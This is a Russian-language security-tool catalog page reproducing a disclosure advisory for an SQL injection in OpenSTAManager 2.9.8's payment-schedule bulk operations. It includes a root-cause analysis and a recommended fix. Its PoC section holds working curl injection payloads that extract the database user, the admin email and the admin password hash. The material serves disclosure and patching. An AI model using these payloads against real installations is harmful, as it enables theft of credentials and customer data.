Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-24418 — CVE-2026-24418 - OpenSTAManager имеет уязвимость SQL-инъекции в модуле массовых операций Scadenzario | Kitploit
Инструменты/GitHubGitHub/lukasz-rybak/cve-2026-24418
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHublukasz-rybak/cve-2026-24418

CVE-2026-24418

CVE-2026-24418 - OpenSTAManager имеет уязвимость SQL-инъекции в модуле массовых операций Scadenzario

Репозиторий
125 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-24418: OpenSTAManager содержит уязвимость SQL-инъекции в модуле массовых операций Scadenzario

Подробности

ПолеДетали
CVE IDCVE-2026-24418
СерьёзностьВысокая
УведомлениеПросмотреть уведомление
ОбнаружилLukasz Rybak

Затронутые продукты

  • devcode-it/openstamanager (версии: <= 2.9.8)

Классификация CWE

  • CWE-89: Неправильная нейтрализация специальных элементов, используемых в SQL-команде ('SQL-инъекция')

Детали

Краткое описание

Критическая уязвимость Error-Based SQL-инъекции в модуле массовых операций Scadenzario (график платежей) OpenSTAManager v2.9.8 позволяет аутентифицированным злоумышленникам извлекать полное содержимое базы данных, включая учётные данные пользователей, персональные данные клиентов и финансовые записи, через XML-сообщения об ошибках.

Статус: ✅ Подтверждено и протестировано на реальном экземпляре (v2.9.8) Уязвимый параметр: id_records[] (POST-массив) Затронутая конечная точка: /actions.php?id_module=18 (модуль Scadenzario) Тип атаки: Error-Based SQL Injection (предложение IN)

Детали

OpenSTAManager v2.9.8 содержит критическую уязвимость Error-Based SQL-инъекции в обработчике массовых операций модуля Scadenzario (график платежей). Приложение не проверяет, являются ли элементы массива id_records целыми числами, перед использованием их в предложении SQL IN(), что позволяет злоумышленникам внедрять произвольные SQL-команды и извлекать конфиденциальные данные через сообщения об ошибках XPATH.

Цепочка уязвимости:

  1. Точка входа: /actions.php (строки 503-506)

    root@kitploit:~
    $id_records = post('id_records');
    $id_records = is_array($id_records) ? $id_records : explode(';', $id_records);
    $id_records = array_clean($id_records);
    $id_records = array_unique($id_records);
    

    Функция array_clean() удаляет только пустые значения — она НЕ проверяет типы.

  2. Уязвимая функция: /lib/util.php (строки 54-60)

    root@kitploit:~
    function array_clean($array)
    {
        if (!empty($array)) {
            return array_unique(array_values(array_filter($array, fn ($value) => !empty($value))));
        }
    }
    

    Воздействие: Функция отфильтровывает пустые значения, но принимает любые непустые значения, включая полезные нагрузки SQL-инъекций.

  3. Точка SQL-инъекции: /modules/scadenzario/bulk.php (строка 88) ОСНОВНАЯ УЯЗВИМОСТЬ

    root@kitploit:~
    $scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
    

    Воздействие: Элементы массива $id_records напрямую конкатенируются с помощью implode() без проверки типов или prepare(), что позволяет выполнить полную SQL-инъекцию.

Анализ корневых причин:

Уязвимость существует, потому что:

  1. post('id_records') возвращает управляемый пользователем массив
  2. array_clean() удаляет только пустые значения, а не нецелочисленные
  3. implode(',', $id_records) конкатенирует элементы массива напрямую в SQL-запрос
  4. Отсутствует проверка того, что элементы массива являются целыми числами
  5. Злоумышленник может внедрить SQL, передав: id_records[]=1&id_records[]=(MALICIOUS SQL)#

Затронутый путь кода:

root@kitploit:~
POST /actions.php?id_module=18
  ↓
actions.php:503 - $id_records = post('id_records')
  ↓
actions.php:505 - $id_records = array_clean($id_records) [NO TYPE VALIDATION]
  ↓
actions.php:509 - include 'modules/scadenzario/bulk.php'
  ↓
bulk.php:88 - WHERE id IN ('.implode(',', $id_records).') [INJECTION POINT]

PoC

Шаг 1: Вход в систему

root@kitploit:~
curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

Шаг 2: Проверка уязвимости (Error-Based SQL Injection)

Тест 1: Извлечение пользователя и версии базы данных

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(USER(),' | ',VERSION()))))%23" \
  "http://localhost:8081/actions.php?id_module=18"

Ответ (сообщение об ошибке, видимое злоумышленнику):

root@kitploit:~
<code>XPATH syntax error: '~osm@localhost | 8.0.40-0ubuntu0.22.04.1'</code>

Тест 2: Извлечение учётных данных администратора

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,':',email) FROM zz_users LIMIT 1)))%23" \
  "http://localhost:8081/actions.php?id_module=18"

Ответ:

root@kitploit:~
<code>XPATH syntax error: '~admin:[email protected]'</code>

Тест 3: Извлечение хеша пароля (часть 1 — первые 31 символ)

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,1,31) FROM zz_users LIMIT 1)))%23" \
  "http://localhost:8081/actions.php?id_module=18"

Ответ:

root@kitploit:~
<code>XPATH syntax error: '~$2y$10$UUPECY1DhQXm2pGEq/UNAeMd'</code>

Тест 4: Извлечение хеша пароля (часть 2 — символы 32-60)

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,32,60) FROM zz_users LIMIT 1)))%23" \
  "http://localhost:8081/actions.php?id_module=18"

Ответ:

root@kitploit:~
<code>XPATH syntax error: '~SoqiRNefN.G9fYMVnCRcvmG0BnwTK'</code>

Объединённый хеш пароля:

root@kitploit:~
$2y$10$UUPECY1DhQXm2pGEq/UNAeMdSoqiRNefN.G9fYMVnCRcvmG0BnwTK

Воздействие

**Все аутентифицированные пользователи, имеющие доступ к массовым операциям модуля Scadenzario (график платежей).

Рекомендуемое исправление:

Основное исправление — проверка типов:

Файл: /modules/scadenzario/bulk.php

ДО (уязвимый код — строка 88):

root@kitploit:~
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');

ПОСЛЕ (исправлено):

root@kitploit:~
// Validate that all array elements are integers
$id_records = array_map('intval', $id_records);
$id_records = array_filter($id_records, fn($id) => $id > 0); // Remove zero/negative IDs

$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');

Благодарности

Обнаружил: Łukasz Rybak

Ссылки

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4xwv-49c8-fvhq
  • https://nvd.nist.gov/vuln/detail/CVE-2026-24418
  • https://github.com/advisories/GHSA-4xwv-49c8-fvhq

Отказ от ответственности

Этот CVE был раскрыт ответственно в соответствии с практиками скоординированного раскрытия уязвимостей. Информация, представленная здесь, предназначена только для образовательных и защитных целей.

Скачать инструмент